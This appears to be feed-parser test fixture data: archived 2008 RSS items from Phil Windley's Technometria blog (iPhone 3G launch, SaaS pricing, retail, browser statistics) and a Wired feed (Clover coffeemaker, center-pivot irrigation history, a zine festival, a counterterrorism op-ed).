        Mark Shuttleworth began Ubuntu in 2004 with a dedicated group of developers intent on creating a revolutionary new Linux desktop. Now, many in the Linux community are calling it the Linux desktop for real people. After three years of phenomenal growth, Shuttleworth sat down with Tim O'Reilly at the first ever O'Reilly Media sponsored Ubuntu Live Conference. During the interview, Tim asks Mark for insight into Ubuntu's meteoric rise and about key challenges for Ubuntu going forward.

      Interestingly the Ambler and Scwaber shows are not recent, but getting a lot of play and quite a few ratings (in the hundreds). Stack Overflow is doing well, as you'd expect given the audience both Jeff and Joel bring to the podcast.

      Since Doug put up the new ratings system, the overall number of ratings per show are up considerably--all of these ratings numbers have enough behind them to make them credible.

      ]]> Tags: itconversations

      ]]>       http://www.windley.com/archives/2008/07/top_ten_it_conversations_shows_for_june.shtml http://www.windley.com/archives/2008/07/top_ten_it_conversations_shows_for_june.shtml itconversations, Mon, 14 Jul 2008 16:00:46 -0700       CTO Breakfast on Friday

      We're doing the July CTO breakfast a little early this month because of Pioneer day. For those of you not familiar with Utah, Pioneer day is a state holiday on the 24th of July and it's a pretty big deal. Celebrates the day the first pioneers entered the Salt Lake Valley in 18481847.

      We'll do the usual thing on Friday. Anyone with an interest in technology products and companies it welcome to come. Hopefully Phil Burns will come and we can get into heated discussions about the iPhone. :-) If you've got other things you'd like to discuss, bring them up.

      There's no breakfast in August. After that, here's the schedule:

      • Sept 26 (Friday)
      • Oct 30 (Thursday)
      • Dec 5 (Friday) - Combined Nov and Dec breakfast

      Here's a Google calendar for the breakfast.

      We'll meet in the Novell Cafeteria (Building G) at 8am and go until 10am. I hope to see you there.

      ]]> Tags: utah events cto breakfast

      ]]>       http://www.windley.com/archives/2008/07/cto_breakfast_on_friday_2.shtml http://www.windley.com/archives/2008/07/cto_breakfast_on_friday_2.shtml utah, events, cto, breakfast, Mon, 14 Jul 2008 11:31:01 -0700       Waiting for the iPhone--Again!

      I've had mixed feelings about whether to upgrade my iPhone to the new 3G model. Ultimately, I get three things: 3G, GPS, and 8G more RAM than I have now. None of those alone were enough to tip me and together, they were marginal. Consequently I wasn't all in a tizzy over today's iPhone availability. Still, since I had a few friends who were excited to get one and were coming up to the Apple store in Salt Lake to get one, I figured I'd tag along and maybe pick on up. What I wasn't ready for was 7 or 8 hour lines.

      I figured that iPhones would be plentiful. Beside, it wasn't the launch of a 1.0 product (and hence less excitement). On top of all that, after the doors opened last June the lines went so fast that I figured you'd be able to show up anytime today and waltz in and get one. Wrong.

      What changed between last year and this one was the in-store activation. Last year, you bought your phone and took it home to activate it. Yeah! That was a heavenly experience. This year--to curb people buying phones so and then unlocking them--in-store activation is required. It's taking, according to some of the Apple Store employees working the line, 20-30 minutes.

      That's when the activation system is working at all. There have been, according to reports, frequent break downs. Consequently, the line moves in fits and starts; lurching toward the door.

      The whole experience, as a result, has been much more frustrating than last year. People waited in line last year and this year. But that's where the similarity ends. People aren't anxiously waiting for the doors to open and then rushing in to buy the product they've been lusting for. Instead, the doors have been open for 7 hours and hundreds of people are still lined up waiting for the machine to serve them because of IT problems. Big difference Apple.

      ]]> Tags: iphone apple gear

      ]]>       http://www.windley.com/archives/2008/07/waiting_for_the_iphoneagain.shtml http://www.windley.com/archives/2008/07/waiting_for_the_iphoneagain.shtml iphone, apple, gear, Fri, 11 Jul 2008 14:26:00 -0700       Success Factors for Saas Delivery

      I'm at the Utah Technology Council's CTO P2P forum this morning. Nate Bowler, a former collegue at Excite@Home and CTO of @Task is speaking about SaaS, software as a service.

      Nate says that his number one take-away from this talk is: Pick a market that is underserved or could benefit from the improved delivery model of a SaaS platform and serve it in a non-trivial manner. Emphasis on "non-trivial." Often companies dumb down their SaaS offering. Nate stresses the importance of using the same technology stack for on-premise and on-demand options.

      In order to deliver SaaS, you have to be able to support billing, provisioning, and back office tools over and above the base level of software functionality. Beyond that you probably also need multi-tenancy.

      And, of course, there's the scalability issue. A critical question is how scalability concerns line up with the business model. What are the hardware demands per customer? Per user? This information needs to be fed back into the product pricing.

      Billing can be a big deal. Many people start out with home grown billing systems that limit their flexibility. Most companies start off with a single "this is how we're going to price things" plan, but clients have different ideas. Are you going to pass up a client because they want to pay in a way that you're billing system doesn't support? Instead you'll probably end up constantly hacking the billing system.

      You need to be able to monitor every component of your application stack: systems, network, and processes; availability; application functionality; and user experience. In addition to monitoring these things, you need to be watching trends to avoid surprises.

      Security is obviously a big deal. You need instrusion detecion systems, SAS70 compliance for business processes, and external auditing of security issues like XSS, data partitioning, and software patch levels to protect customer application data. Automated testing needs to be rigorous.

      Some thoughts from Nate on pricing:

      • You can't offer SaaS level service for traditional pricing (perpetual licensing) and survive. You can get by in the out years with just maintenance dollars (typically 20%).
      • Price on-demand and on-premise the same and keep release cycles in lock step.
      • You need the discipline to walk away from deals that won't accept a term license.
      • Term pricing value to customer breaks down in 2 conditions: when the contract duration is greater than 3 years and when the user count grows beyond 200 users.
      • Terpetual pricing is an option: customer pays 180% of annual price in first year and pays 35% in years two and three. The idea is that it's still cheaper than a perpetual license deal for the customer in year one, but is more inline with how they're used to buying software--big upfront fee followed by maintenance.

      @Task has had good luck selling on-premise software with term licensing.

      One of the ideas Nate brings up that's pretty interesting is implementing a Digg-like feature for your product roadmap and letting your customers vote for features that are important to them.

      @Task has found that most customers opt for on-demand rather than on-premise contrary to conventional wisdom. Similarly, they haven't found that a self-sign up with free trial was an effective strategy for generating leads. This may be specific to @Task that has a fairly complex, group-oriented product. The enterprise nature of the activity means that free trials have to be carefully orchestrated.

      ]]> Tags: software saas licensing

      ]]>       http://www.windley.com/archives/2008/07/success_factors_for_saas_delivery.shtml http://www.windley.com/archives/2008/07/success_factors_for_saas_delivery.shtml software, saas, licensing, Fri, 11 Jul 2008 08:23:44 -0700       The 50-50 Rule in Retail: Capturing Customer Conversations

      Ross Mayfield notes that in an Apple retails store "50% of the space is for retail sales and 50% for service and support." He goes on to contrast that with places like Fry's or Best Buy. I'm always amazed when I go into an Apple store: they're happening places. If you're in retail, visit an Apple store and then go back to your place. Seem kinda quiet and dead. Yeah, I thought so.

      Ross goes on:

      What Best Buy is missing is the fact that they provide no after market value add with their retail -- in comparison to buying and servicing with an e-commerce vendor. If I buy something in person I expect a person to be able to help me when things go wrong. At least during the manufactures warranty, and I might pay to extend that period with the retailer.

      But I think Apple gets something more than the value of customer experience. According to the Consortium of Service Innovation, there is an iceberg effect for product knowledge. 90% of conversations about supporting products never touch the company. Only 10% touch the call center. And 1% of this service and product quality knowledge are assimilated.

      In other words, Apple's trying to capture more of the product knowledge conversations. That goes beyond mere "customer experience" and gets to building relationship.

      Finally Ross gets to the key question for online retailers:

      For your business online, what porportion is dedicated to retail vs. support? When not constricted by the boundaries of physical space, and can be empowered through community, where do you draw that line? What crosses that line is a process not unlike osmosis, where energy is released with the right balance.

      When I was at Internet Retailer it was clear that one of the hot features for ecommerce Web sites was customer reviews. More and more places are following Amazon's lead and adding places for customers to talk to other customers (and inform the retailer in the process). This is a great way to capture more of the customer product conversation and capitalize on it in order to keep shoppers coming back for more.

      ]]> Tags: ecommerce kynetx customer vrm

      ]]>       http://www.windley.com/archives/2008/07/the_5050_rule_in_retail_capturing_customer_conversations.shtml http://www.windley.com/archives/2008/07/the_5050_rule_in_retail_capturing_customer_conversations.shtml ecommerce, kynetx, customer, vrm, Wed, 09 Jul 2008 10:03:59 -0700       Understanding the Net

      Doc Searls must have spent some of his convalescence deep in thought. His recent essay Saving the Net III: Understanding its Frames is a great piece on how we understand and don't understand the Net. This is a long essay. You'll actually have to do some reading if you want to get the meat of Doc's argument. But it's worth the time.

      ]]> Tags: internet politics regulation open+source

      ]]>       http://www.windley.com/archives/2008/07/understanding_the_net.shtml http://www.windley.com/archives/2008/07/understanding_the_net.shtml internet, politics, regulation, open+source, Wed, 09 Jul 2008 09:47:55 -0700       Open Source and The Gap

      David Eaves posted a piece overlaying the Firefox 3 Pledge Map and Thomas Barnett's map that divides the world into the "the functioning core" and the "non-integrated gap."

      As you might expect, there's a high correlation. People in the gap aren't connected, so they have less access to computers, use the 'Net less, and participate in open source projects less. There are some exceptions--like Scandinavia on one side and Columbia and Turkey on the other.

      David makes this comment:

      Non-Integrated Gap countries with the most pledges are Iran, Turkey, Venezuela, Peru, and Indonesia -- interesting list. Seems to suggest that many of the countries the US tries to isolate are actually the most connected.

      I too find this ironic. I think that the Bush administration has made a huge mistake in not pushing these countries to integrate more fully. Forget their governments, their citizens want to be connected and once they are, the policies of their governments will follow them into the functioning core. They have to.

      As Tom points out, terrorism is "what's left" after the cold war and I see it as a reaction to connectivity. Terrorists, while exploiting the connectivity of the 'Net, would deny that connectivity to people because it leads them away from the fundamentalist societies that the terrorists promote.

      David's analysis is just one more data point in the argument that some of the world's seemingly most dangerous countries have citizens who are ready to connect. The world (i.e. functioning core) needs to take advantage of that.

      As an aside, I just pre-ordered Tom's new book 'Great Powers: America and the World After Bush' from Amazon. I'll schedule another IT Conversations interview with him after the book comes out. I had a great conversation with him a few years back.

      ]]> Tags: open+source politics itconversations

      ]]>       http://www.windley.com/archives/2008/07/open_source_and_the_gap.shtml http://www.windley.com/archives/2008/07/open_source_and_the_gap.shtml open+source, politics, itconversations, Thu, 03 Jul 2008 09:56:22 -0700       Browser Mix on Technometria

      As long as we're on the subject of Technometria stats, here's the browser breakdown for last month on Technometria:

      1. FireFox - 41.80%
      2. Internet Explorer - 33.76%
      3. Safari - 12.65%
      4. Mozilla - 9.06%
      5. Opera - 1.79%

      Roughly two-thirds of the visitors to Technometria were using something other than Internet Explorer. Granted, this is a pretty geeky crowd.

      Of the Firefox users, roughly 30% were using version 3. Of the IE users, roughly 40% were using version 6. Only four visitors the entire month were using IE 5.5. I had a few IE 8 visitors.

      ]]> Tags: blogging browsers firefox

      ]]>       http://www.windley.com/archives/2008/07/browser_mix_on_technometria.shtml http://www.windley.com/archives/2008/07/browser_mix_on_technometria.shtml blogging, browsers, firefox, Wed, 02 Jul 2008 09:30:37 -0700       Top Ten Stories on Technometria Last Month

      It's funny to me which stories and posts seem to take off and which don't. Sometimes when I'm writing a post I just know that it's going to get traction, but most of the time, it's hit or miss. Here's a list of the top ten posts on Technometria for June. Only two of them were written in June.

      1. Fixing MacBook Pro Sleep Problems 8.74% of all downloads for the month
      2. P2V: How To Make a Physical Linux Box Into a Virtual Machine 6.18%
      3. Top Ten IT Conversations Shows for May 2008 4.35%
      4. CIO vs. CT 4.23%
      5. Free Mobile Calls to Anywhere in the World 3.76%
      6. How to Start a Blog 2.37%
      7. Welcoming Joel Spolsky and Jeff Atwood to IT Conversations! 2.36%
      8. Dreams from My Father: My Attempts to Know Obama 1.46%
      9. Broken Scroll Ball on Mighty Mouse 1.34%
      10. Alan Kay: Is Computer Science an Oxymoron? 1.25%

      The one that is the most amazing to me is the "free mobile calls" post. It's about how to use a family plan and an autodialer connected to Skype to get reduce mobile call bills. It's usually the number one hit on Google under free mobile calls, so it gets a lot of traffic. What waste of bandwidth. :-)

      ]]> Tags: blogging

      ]]>       http://www.windley.com/archives/2008/07/top_ten_stories_on_technometria_last_month.shtml http://www.windley.com/archives/2008/07/top_ten_stories_on_technometria_last_month.shtml blogging, Tue, 01 Jul 2008 21:18:54 -0700       Panniers for Laptops

      For the last three weeks I've been riding my bike to work when occasion permits. Unfortunately, that usually only works out to a few times per week. I live in Lindon and work at Thanksgiving Point, about 17 miles one way. One of the first things I discovered was that I needed a good way to carry my laptop.

      I have a backpack and a messenger bag. I immediately dispensed with the backpack since it's up high and made me too hot. The messenger bag keeps the weight low, but after 17 miles, it's a boat anchor around you neck.

      What I needed was a pannier big enough to carry a laptop. I used to commute by bike regularly but that was 15 years ago. My panniers from that time are small and not nearly big or sturdy enough to carry a 15 inch Macbook Pro.

      After a week or so of searching and reading message boards I came across the Arkel Commuter. This is, as far as can tell, the best commuter pannier around.

      At $159, it's not cheap, but after using it a few times, I think it's well worth it. The load is low and the bike is doing the work. The bag is well made and the laptop is secure. I especially like the cams that lock it to the rack--the last thing I need is my laptop flying off the bike on a bump.

      ]]> Tags: biking gear

      ]]>       http://www.windley.com/archives/2008/06/panniers_for_laptops.shtml http://www.windley.com/archives/2008/06/panniers_for_laptops.shtml biking, gear, Mon, 30 Jun 2008 09:31:03 -0700       Shopper Experience and Competitive Advantage

      When I was at Internet Retailer in Chicago a few weeks ago, I heard at least three speakers give as story that, abstracted, went something like this:

      We started off building our own ecommerce platform, then we switched to a vendor supported product. After we almost went broke, we went back to building our own ecommerce platform.

      Your reaction to that might be like mine was: "why would a retailer want to spend money building their own platform?" After all, shouldn't they concentrate on their core competence--retailing--and leave software development to the experts?

      Here's what it comes down to: most online retailers aren't selling unique products. They're sourcing product from a supply chain that their competitors have access to as well. So, they're all selling the same thing with roughly the same margins. What do they compete on? Shopper experience.

      The one thing that can make a huge difference in their top-line revenue is the overall experience that a shopper has when they visit the online store. If it's slow, ugly, full of friction with too many clicks, breaks, doesn't offer features shoppers expect, and so on, shoppers will go somewhere else.

      All of these depends on the platform and if you're using the same platform as your competitor, you're reduced your degrees of freedom substantially.

      Amazon, of course, is the biggest example of a company that uses a custom ecommerce platform. They're a premiere technology company because that's what it takes to be the Net's biggest retailer. Amazon wouldn't be Amazon if they were running on ATG (ignoring issues of scale). Amazon is the biggest retailer because they run their own platform--not the other way around.

      Every business has to know how they compete and who they compete with. In retail you might compete on a unique product, but usually you're competing on price and experience--and only the latter is sustainable.

      ]]> Tags: ecommerce development

      ]]>       http://www.windley.com/archives/2008/06/shopper_experience_and_competitive_advantage.shtml http://www.windley.com/archives/2008/06/shopper_experience_and_competitive_advantage.shtml ecommerce, development, Fri, 27 Jun 2008 11:19:24 -0700       ././@LongLink000 146 0003737 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.wired.com-news_drop-netcenter-netcenter.rdfHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.wired.com-news_drop-netcenter-netcenter.r0000664000175000017500000041017712653701626031646 0ustar janjan Wired Top Stories http://www.wired.com/rss/index.xml Top Stories<img src="http://www.wired.com/rss_views/index.gif"> en-us Copyright 2007 CondeNet Inc. All rights reserved. Tue, 22 Jul 2008 04:00:00 GMT Wired.com 2008-07-22T04:00:00Z en-us Copyright 2007 CondeNet Inc. All rights reserved. Video: Hands-On With the $11,000 Clover Coffeemaker http://feeds.wired.com/~r/wired/index/~3/342201666/ Wired.com takes a look at the Clover, an $11,000 coffee machine hand-built by Stanford engineers.<br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:1d9dc691c94b14b05ae915b7a5a8a793:wyJM3UhUbf9%2B3mS0Kzi6KIt%2Fuii3oDi%2BVoP%2Bd7sf7RAuBv61qcaYmuUkiPrC1snOIv%2Fwicz4%2BHKnOTUUyqbAXbHZ27IdjbdeQOUC7FZrGz8%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:efc096c07de0424072e79c130ad1411f:LwhTTUxSrCpDk5nGzt8LuLeq%2F6g0sjpjTelY5s6o%2FizObr3ymZ24Mmd4E5uMyKk5S9jBlW%2BKqPpt2UU0g9sFPE%2BmoooMwVTayCbh0xE%2BZpU%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:f3cbf53ae06a5b8d581bd5299762e20b:8SgyAC1lIJVWXxm7j0bZ4Xzlz5Guu%2FvGPF4ADA448sptIfYEWoXfIjM9DHeEsnSrX7rqyBNvfj3Wih3MXtCDBq8idTfRPadozUW9URuuG3o%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:0ea7c60f6cedbdaa4569c1ee48f0f05a:7wyztHVCkCORq7tH68JCmjjMQmiRlUVabDB4jXPm4CB85uKYdGR3CiChwe9uYnPCzPVoAoE3qp0UvPyecoFgEtLlL674JsmpBAfo4SBTNHQ%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=0bd3903f0b056dfb6b30e628e9f3788c" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=0bd3903f0b056dfb6b30e628e9f3788c" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=hXYjp7"><img src="http://feeds.wired.com/~a/wired/index?i=hXYjp7" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/342201666" height="1" width="1"/> Tue, 22 Jul 2008 04:00:00 GMT http://video.wired.com/?fr_story=FRdamp284320&rf=bm Wired.com Video Department 2008-07-22T04:00:00Z http://video.wired.com/?fr_story=FRdamp284320&rf=bm Seafloor Zombie Microbes May Look Like Exo-Organisms http://feeds.wired.com/~r/wired/index/~3/342201667/seafloor-microb.html Primitive organisms found on the sea floor have a metabolism so slow that it might be more accurate to call them undead rather than alive. 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Hundreds of thousands of crop circles will appear on landscapes around the world ... eventually. </p> <p> You've seen 'em if you've flown across farmland in the United States or other nations: big green circles of irrigated land, making repeated dot patterns. But they weren't always there. </p> <p> Zybach grew up in Nebraska but was farming in Colorado in 1947 when he saw a demonstration of <a href="http://www.livinghistoryfarm.org/farminginthe50s/water_03.html">modern movable irrigation</a>. Workers were moving and connecting pipes fitted with sprinkler heads from one part of a field to another. Sprinklers could beat a couple of problems: uneven, hilly terrain and the tendency of water to run into sandy ground before getting to the end of the ditch. </p> <p> But <a href="http://www.livinghistoryfarm.org/farminginthe40s/water_09.html">Zybach, a lifelong tinkerer</a>, saw something more: Why have humans set up, take down, move the equipment and repeat? Why not have the equipment move itself? </p> <p> Zybach built his first prototype within a year. It rotated around a center wellhead. Guy wires that were attached to support towers held the sprinkler-fitted water pipes above the ground. Control wires and two-way water valves kept the towers in line. The first support towers moved on skids, but Zybach soon replaced those with wheels propelled by the irrigation water itself. </p> <p> He applied for a patent for the "Zybach Self-Propelled Sprinkling Apparatus" in July 1949. He knew he needed to improve his invention -- making it tall enough to work for corn, among other things. So, the <a href="http://www.todayinsci.com/7/7_22.htm">same year he got his patent</a>, he moved back to Nebraska and went into business with a friend, A. E. Trowbridge. </p> <p> The duo didn't immediately succeed, partly because Zybach kept making improvements before Trowbridge could sell the models they'd already manufactured. They sold the patent rights for a 5-percent royalty to farm-equipment manufacturer Robert Daugherty of Valley Manufacturing (later Valmont) in 1954. </p> <p> Valley built only seven systems the following year, but it kept on improving the device. Variable pressure let farmers apply different amounts of water on each full rotation. They could apply fertilizer and pesticides automatically, too. End guns let water reach those dry corners between the circles. Business took off in the 1960s. The amount of <a href="http://www.livinghistoryfarm.org/farminginthe50s/water_04.html">land tended by one irrigation worker quadrupled</a> from about 400 acres to 1,600 acres. </p> <p> More than a <a href="http://www.livinghistoryfarm.org/farminginthe50s/water_09.html">quarter-million center-pivot irrigation systems</a> now water fields around the world. <a href="http://www.livinghistoryfarm.org/farminginthe50s/water_07.html">Modern systems</a> run in forward or reverse on rubber wheels driven by electric motors. The control sensors that keep the support towers in line have evolved from simple mechanical linkages to computerized sensors. Some systems use GPS and wireless to control water flow. They take directions from laptops and cellphones. Sophisticated mechanical trusses, not wires, support the pipes. </p> <p> But what about those empty corners between the circles? Some countries now arrange their circular fields in large, hexagonal patterns to minimize the unsprinkled areas. That's hardly practical in the United States and elsewhere where land holdings have already been divided up in big, old-fashioned squares. So, the up-to-date center-pivot systems rely on low-voltage, <a href="http://www.livinghistoryfarm.org/farminginthe50s/water_08.html">radio-signal wires</a> buried in the corners of the field. A sensor at the end of the pivot arm picks up the signal and telescopes the pipe outward toward the corner, then retracts again, following the border of the field. </p> <p> And, as that technology spreads, the circles you see from your jet-plane window seat may someday be a thing of the past. </p> <p> <em>Source: <a href="http://www.livinghistoryfarm.org/">Wessels Living History Farm</a></em></p><br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:e0b9fa598cb617919237bfdb96d03d33:IQQRmP4PGZKq2xkjiLwAjKXBlt4zvHYWec0vq%2FY4xvAF8q5lRb0Cdb70kPGLkCecm9NkNh8MFhFkVuR3FI%2Ff4EVy5u646WF4a3%2BYAVN30xc%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:106823ea75a1d029a48ce1e51c39bbfa:RvPiRST6uoRQEloBQP6MUQSYQ8miZJ%2Fz8qlHwBApQHeI%2BjQ5At08BpJgrBSatviCU4Du6G%2FZ%2BgVJEA7%2FmUc0miojOKcy2pnFT%2FF%2FiuB%2B96Q%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:4f36f5af8c8cc24f53bf3dab91bd220e:%2FUBO1e3lPH3%2BJTlqemQlvPAYqyymOc3GJpe9tL6Wjx62RgnAiH6dHzhNY47WhhVH4CwaxhayTYoYAjALrgsyIRrExEd%2FTPtkgr9h3chqliE%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:2f5724606dcee733e4a8d27e1e852c08:IZg%2B655k1kKldJhh80cHfV1HHzAB4zZFh6zsT4XitsQmMMuP%2BpExxzGocdp%2Flb1JOjLriI7zux%2BLrdPbmL0tctHRJYlCn4XsZ9VnxmdYlK8%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=5d82e5b6743964eb69c8d5ebed126f01" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=5d82e5b6743964eb69c8d5ebed126f01" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=tSklmM"><img src="http://feeds.wired.com/~a/wired/index?i=tSklmM" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/342201668" height="1" width="1"/> Tue, 22 Jul 2008 04:00:00 GMT http://www.wired.com/science/discoveries/news/2008/07/dayintch_0722 Randy Alfred 2008-07-22T04:00:00Z http://www.wired.com/science/discoveries/news/2008/07/dayintch_0722 Blogs for Print Nerds: Zine Fest Flaunts Camp and Crafts http://feeds.wired.com/~r/wired/index/~3/342201669/gallery_zine_fest <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_121_t.jpg'></img>: Photo: Emily Lang/Wired.com<p>SAN FRANCISCO – More than 100 zine-makers packed the County Fair building in Golden Gate Park over the weekend to celebrate San Francisco's annual Zine Festival.</p> <p>The two-day conference featured a wide variety of DIY arts and crafts, zines, comics and a gypsy-like atmosphere. Attending noobs were also treated to hands-on workshops, from bookbinding to illustration and Q & A sessions with accomplished self-publishers.</p> <p>For zinesters, zines are like the blogs of the print world. They're an essential part of offline geek and underground culture and their DIY aesthetic has influenced an entire generation of designers and writers. </p> <p>Click through the gallery for highlights from this DIY ComicCon. </p> <p><strong>Left:</strong> Festival-goers browse through the plethora of independently published zines and books. </p><img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_010_t.jpg'></img>: Photo: Emily Lang/Wired.com<p>Jonathan Fetter-Vorm, one half of the production company Two Fine Chaps, displays an array of his self-published work. His work ranges from a large, full-color illustrated book of the poem <cite>Beowulf</cite> to a very small, hand-made, three-dimensional pop-up fable titled <cite>The Clockmaker's Joy</cite>. </p> <p>"I wanted to make books that are fun to hold, interesting to read and beautiful to look at," Fetter-Vorm said.</p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_146_t.jpg'></img>: Photo: Emily Lang/Wired.com<p>Rani Goel's <cite>Typecritters</cite> zines feature letter art made from mirroring and layering type. Her booth also displays her <cite>Servings</cite> zine, which tackles the issue of body image and our cultural obsession with weight and food. </p> <p>"There's something about someone's handwriting, something more real about it than a MySpace or a blog, something raw," Goel said. "And there's room to be messy, it doesn't have to be perfect."</p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_125_t.jpg'></img>: Photo: Emily Lang/Wired.com<p>Jennie Hinchcliff (left) and Carolee Gilligan Wheeler, of Pod Post, model their zine merit badges. </p> <p>"We wanted the merit badges to be about something we care about," Hinchcliff said. "Merit badges for book and zine making." "Instead of cookie selling," Wheeler adds.</p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_110_t.jpg'></img>: Photo: Emily Lang/Wired.com<p>Amy Martin, a cartoonist, gets a little work done at her booth and perhaps a head start for next year's festival. </p> <p>"Last year was the first [festival] I did," Martin said. "The shows are great and you get to meet lots of people."</p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_054_t.jpg'></img>: Photo: Emily Lang/Wired.com <p>Matt DeLight, illustrator and co-producer of several comics, described his work as autobiographical, funny and tragic. </p> <p>"It started with a love of comics as a kid," DeLight said. He stumbled upon an issue of <cite>Too Much Coffee</cite> at 16 that detailed how to make your own mini comic. "It blew my mind to think that I could go to Kinko's and make my own comic."</p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_036_t.jpg'></img>: Photo: Emily Lang/Wired.com<p>The 2008 SF Zine Festival moved to the SF County Fair building in Golden Gate park this year in anticipation of more exhibitors and a larger crowd than ever -- twice the size of last year's.</p><img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_148_t.jpg'></img>: Emily Lang/Wired.com<p>Kelly Lee Barretts (right) mans her street-photography mini-book booth with Jon LaSalle (middle). </p> <p>"I had taken a bunch of photos and was rolling around with them on the floor of my room one night and decided to make a book out of it," said Barretts, a UC Santa Cruz graduate. Barretts has books available in three different sizes, from the miniscule to the pocket-size.</p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_zine_fest/zine_fest_016_t.jpg'></img>: Photo: Emily Lang/Wired.com <p>Lori Stein (left), author of <cite>Ranger Strange Bunny</cite>, shares table space with professional Yo-Yoer and ziner, Doctor Popular. </p> <p>Doctor Popular peddled his zines, hand-made iPhone cases and yo-yos. "Three things keep me alive: yo-yoing, crafts and tailoring," Popular said. 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The strategy &mdash; aptly named MAD, for mutual assured destruction &mdash; paradoxically cemented peace. Such "thinking about the unthinkable" still works well against Russia, China, and North Korea and likely would even deter Iran. But it obviously has little effect on Islamist terrorists.</p> <p>They have no state to protect and pose no threat warranting nuclear payback. They can't build a hydrogen bomb, and even a crude Hiroshima-style fission bomb would be a technological stretch. So brandishing the vast US military arsenal over al Qaeda is a little like holding a .44 Magnum on a buzzing mosquito: It won't discourage the bug from drawing blood. After seven years of wishing al Qaeda was more like the Soviet Union, it's time US antiterrorism experts muster the same creativity that the great nuclear strategists marshaled to stave off Armageddon.</p> <p>When it comes to military tactics, Osama bin Laden is hardly an innovator. The most he and his minions can do is improvise with old techniques, like using a hijacked plane as a cruise missile. Yet jihadists are righteously wired. They have turned the Net into what Israeli expert Reuven Paz calls an "open university for Jihad studies," covering everything from indoctrination to DIY car bombs.</p> <p>America's current counterterrorism measures can do no more than tenuously contain a threat whose radical ideology spreads like a virus through cyberspace. We should be launching our counterattack on their turf &mdash; online.</p> <p>The problem is that our ham-fisted policies, centering on a reckless war of choice and forced democratization, have eviscerated US public relations efforts. So Washington leads its Web campaigns on tiptoe. The Pentagon has begun launching foreign-language news sites to counter jihadist propaganda, but their sponsorship is intentionally obscure. The name of the site for Iraq (Mawtani.com) references the Iraqi national anthem, and its DoD provenance is revealed only when you click on the About link. These kinds of unattributed information ops will never create a decisively positive view of the West.</p> <p>Whoever wins the White House in November should take the opportunity to give US foreign policy a makeover, which would allow us to emerge from the cybercloset. From there, the path is clear: harness the Net's unique combination of community and privacy to shape the debate within Islam about the best mechanisms for political change. A new tone in Washington could make moderate Muslims less averse to linkages with the US, which might in turn quietly provide support for anti-jihadist clerics &mdash; like Abdul Haqq Baker of the Brixton mosque in London &mdash; encouraging them to speak up in the blogosphere.</p> <p>But here's where the creative thinking can really kick in: A bolder strategy, driven by ideas as counterintuitive and ostensibly distasteful as MAD, should also be deployed in cyberspace. US-sponsored Web sites need to acknowledge that radicalism remains highly appealing &mdash; thanks in part to the Bush administration &mdash; and, unthinkable as it may sound, we'd be well advised to manifest greater tolerance for radical Muslims.</p> <p>Of course, no official US site should sing the praises of Hezbollah, Hamas, and the Muslim Brotherhood. But recognizing that such organizations have gained some legitimacy by participating in nonviolent politics would signal to potential recruits that there's an effective and honorable third way between capitulation and terrorism.</p> <p>Muslims seem increasingly receptive to such efforts. Polls indicate that only 10 percent of Saudis view al Qaeda favorably and that in Indonesia, Lebanon, and Pakistan, support for suicide bombings has dropped dramatically. Showing jihadists an alternate path to a stake in a functioning government &mdash; as opposed to the chaos that currently reigns &mdash; could make them easier to deter and influence. But more immediately, it might keep some of them from clicking on the link to that build-your-own IED site.</p> <p><cite>Jonathan Stevenson</cite> (<a href="mailto:jhs.wired@gmail.com">jhs.wired@gmail.com</a>) <cite>is a professor of strategic studies at the 